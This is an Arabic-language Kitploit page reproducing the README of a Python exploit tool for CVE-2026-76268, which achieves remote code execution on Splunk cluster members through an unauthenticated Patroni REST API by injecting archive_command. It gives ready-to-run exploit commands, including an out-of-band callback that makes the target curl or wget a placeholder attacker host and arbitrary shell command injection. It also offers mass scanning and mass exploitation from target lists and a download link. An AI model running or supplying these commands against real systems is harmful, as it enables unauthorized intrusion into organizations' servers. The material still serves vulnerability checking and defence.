Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-76268 — أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76268: تكتشف واجهة Patroni REST API غير الموثّقة على أعضاء Splunk SHC وتستغلها عبر حقن archive_command لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE). | Kitploit
أدوات/GitHubGitHub/murrez/cve-2026-76268
الاستطلاعماسحات الثغرات الأمنيةتخطيط الشبكةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقأداة الوصول عن بعد
GitHubmurrez/cve-2026-76268

CVE-2026-76268

أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76268: تكتشف واجهة Patroni REST API غير الموثّقة على أعضاء Splunk SHC وتستغلها عبر حقن archive_command لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

831منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-76268 — تنفيذ أوامر عن بُعد (RCE) دون مصادقة عبر واجهة Patroni REST API في Splunk Enterprise

أداة إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-76268 — Splunk Enterprise على أعضاء مجموعة رؤوس البحث (SHC). الاستشارة الأمنية SVD-2026-1001.

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76268
الاستشارة الأمنيةhttps://advisory.splunk.com/advisories/SVD-2026-1001
المكوّنsidecar الخاص بـ PostgreSQL (التخزين) → Patroni REST API
المتأثر10.2.0 – 10.2.6، 10.4.0 – 10.4.2
الإصلاح10.2.7، 10.4.3 (وما بعدها)
غير متأثر (بهذا CVE)10.0.x، 9.4.x
CWECWE-306 — غياب المصادقة لوظيفة حرجة
CVSS 3.19.8 حرج
علامة التحققPOCBIT-76268-OK
PoCbithttps://pocbit.org/pocs/cve-2026-76268

الوصف

على أعضاء SHC في Splunk Enterprise المصابة، تقبل Patroni REST API (وهي جزء من sidecar الخاص بـ PostgreSQL الذي أُدخل في Splunk 10.x) طلبات تغيّر الحالة دون مصادقة. يمكن للمهاجم الذي يملك وصولاً شبكياً إلى مستمع Patroni تغيير التكوين الديناميكي للعنقود وإطلاق تنفيذ أوامر على مستوى نظام التشغيل عبر معاملات PostgreSQL مثل archive_command (سلسلة PATCH /config ثم POST /restart في Patroni).

تتواصل أداة إثبات المفهوم هذه مباشرةً مع Patroni (عادةً عبر TCP 8008، أو منفذ يخصصه وسيط IPC Broker في Splunk). وهي لا تستخدم Splunk Web (8000) ولا منفذ إدارة Splunk (8089). فذلك سطح مختلف (مثل المشكلات التاريخية في sidecar عبر وكيل splunkd).

الشروط المسبقة للتأثير الفعلي:

  • أن يكون المضيف عضو SHC (وليس عقدة مفهرسة مستقلة بدون حزمة sidecar).
  • أن يكون sidecar الخاص بـ [postgres] مفعّلاً (disabled = true يزيل Patroni).
  • أن يكون منفذ Patroni قابلاً للوصول من المهاجم (غالباً بسبب جدار حماية مُهيأ خطأً يكشف منافذ داخلية للعنقود).

المتطلبات

cd CVE-2026-76268
pip install -r requirements.txt
  • Python 3.9+
  • التبعيات: requests، urllib3

نظرة عامة على الاستخدام

الوضعالغرض
check (الافتراضي)العثور على Patroni على المنافذ الشائعة؛ اختبار PATCH /config بدون مصادقة
exploitتشغيل سلسلة RCE في Patroni (archive_command + إعادة التشغيل)
Mass--list FILE مع خيوط -j؛ يكتب JSONL + قوائم اختيارية للإصابات/الاستغلال

يجب تمرير إما -t TARGET أو --list FILE.

صيغ الأهداف (-t / الأسطر في --list)

الصيغةمثال
المضيف فقط (فحص المنفذ الافتراضي)192.168.1.50
المضيف + المنفذ192.168.1.50:8008
عنوان URL كاملhttp://10.0.0.5:8008

التعليقات في ملفات القوائم: يتم تجاهل الأسطر التي تبدأ بـ #.


وضع الفحص

اكتشاف Patroni وتقييم ما إذا كانت تغييرات التكوين بدون مصادقة تبدو مسموحًا بها.

python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt

ما الذي يفعله PoC:

  1. يحاول GET /patroni (أو /) على كل منفذ في --ports (الافتراضي 8008,8009,8010,18008).
  2. يرسل PATCH /config بجسم JSON فارغ ودون بيانات اعتماد.
  3. يضع علامة exploitable_candidate: true عندما يستجيب Patroni ولا يُرفض PATCH بـ 401/403.

الأعلام المفيدة:

العلمالمعنى
--portsمنافذ Patroni المراد فحصها، مفصولة بفواصل
--portتخطي الفحص؛ استخدام منفذ واحد فقط
--timeoutمهلة HTTP (بالثواني، الافتراضي 20)
--proxyوكيل HTTP(S) للطلبات
--outputسجل JSONL (الافتراضي cve_2026_76268_results.jsonl)
--vuln-listمرشحون مفصولون بعلامات جدولة (الافتراضي hits.txt)
--quietإخراج أقل على الطرفية
--no-colorطرفية عادية

رمز الخروج: 0 إذا كانت exploitable_candidate صحيحة؛ وإلا 1.

سير العمل الموصى به: فحص جماعي → مراجعة hits.txt → استغلال جماعي فقط على المضيفين المصرح بهم.


وضع الاستغلال (--mode exploit)

يشغّل سلسلة حقن إعدادات Patroni. هذا يغيّر الإعدادات الديناميكية الحية لـ sidecar/PostgreSQL على الهدف.

السلسلة

  1. الاكتشاف — كما في الفحص (ما لم يُضبط --port).
  2. بوابة المصادقة — الإجهاض إذا أعاد PATCH /config الرمز 401/403.
  3. PATCH /config — يضبط wal_level=replica وarchive_mode=always وarchive_timeout=1 و**archive_command** الخاص بك.
  4. POST /restart — تطبيق إعدادات PostgreSQL المعلّقة.
  5. الانتظار — ثواني --wait-archive (الافتراضي 3)؛ يُنفَّذ archive_command في دورة أرشفة WAL (وليس فورًا).

أمثلة هدف واحد

# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888

# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5

# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"

# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10

استغلال جماعي

python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888

المخرجات:

  • --output — ملف JSONL كامل (في وضع الاستغلال الجماعي يكون الافتراضي cve_2026_76268_exploit.jsonl إذا أبقيت على الاسم الافتراضي).
  • --exploited-list — الصفوف التي تكون فيها القيمة exploited: true (الافتراضي exploited.txt).

خيارات الاستغلال

الخيارالمعنى
--oob URLعنوان URL الأساسي؛ يُشغّل الأمر curl/wget نحو URL/POCBIT-76268-OK
--commandسلسلة archive_command الكاملة الخاصة بـ PostgreSQL (تتجاوز القيمة الافتراضية لـ OOB)
--wait-archiveعدد الثواني للانتظار بعد إعادة التشغيل قبل أن يخرج PoC
--ports / --portاكتشاف المنافذ أو تحديد منفذ Patroni ثابت
--tlsاستخدام https:// مع Patroni (غير شائع في وثائق sidecar الافتراضية لـ Splunk)

الأمر الافتراضي عند عدم تعيين --oob ولا --command:
touch /tmp/POCBIT-76268-OK

رمز الخروج: 0 عندما يُقبل PATCH وإعادة التشغيل (exploited: true). وهذا يعني أن السلسلة قد نُفّذت، وليس أن callback أو إثبات الملف قد تحقق بالفعل. تحقق عبر OOB أو بفحص نظام الملفات على المضيف.

مهم: قد يتجاهل Patroni التغييرات الديناميكية إذا كانت المعاملات نفسها مقفلة في الإعدادات المحلية (تقوية من المورّد). في هذه الحالة قد يفشل الاستغلال حتى على إصدارات Splunk القديمة.


مخرجات JSON (تشغيل واحد بـ -t)

تُطبع إلى stdout (JSON منسّق). في الوضع الجماعي يُكتب كائن JSON واحد لكل سطر.

الحقلالمعنى
modecheck أو exploit
host / targetالمدخل بعد التطبيع
patroni_baseمثل http://192.168.1.50:8008
patroni_portالمنفذ الذي استجاب عليه Patroni
patroni_roleمن GET /patroni (مثل primary)
unauth_patchفحص: هل PATCH مسموح دون مصادقة
exploitable_candidateفحص: سطح هجوم محتمل قابل للاستغلال
exploitedاستغلال: نجح PATCH وإعادة التشغيل
patch / restartحالة HTTP ومعاينة للاستجابة
verifyتلميح: مسار OOB أو /tmp/POCBIT-76268-OK
errorسبب الفشل (auth_required_patched_or_hardened، no_patroni_on_ports، …)
pocbit، pocbit_page، verify_markerبيانات وصفية لـ PoCbit

تفسير النتائج

النتيجةالمعنى
patroni_unauth_patch_confirmedإصابة قوية في الفحص — قُبل PATCH دون مصادقة
patroni_auth_requiredيتطلب Patroni مصادقة (على الأرجح مُرقّع أو مُقوّى)
no_patroni_on_portsلا يوجد JSON من Patroni على المنافذ المفحوصة (مضيف خاطئ، أو محجوب بجدار ناري، أو ليس sidecar لـ SHC)
exploit_chain_okاكتملت سلسلة HTTP للاستغلال
auth_required_patched_or_hardenedأُوقف الاستغلال قبل الحقن
تنزيل الأداة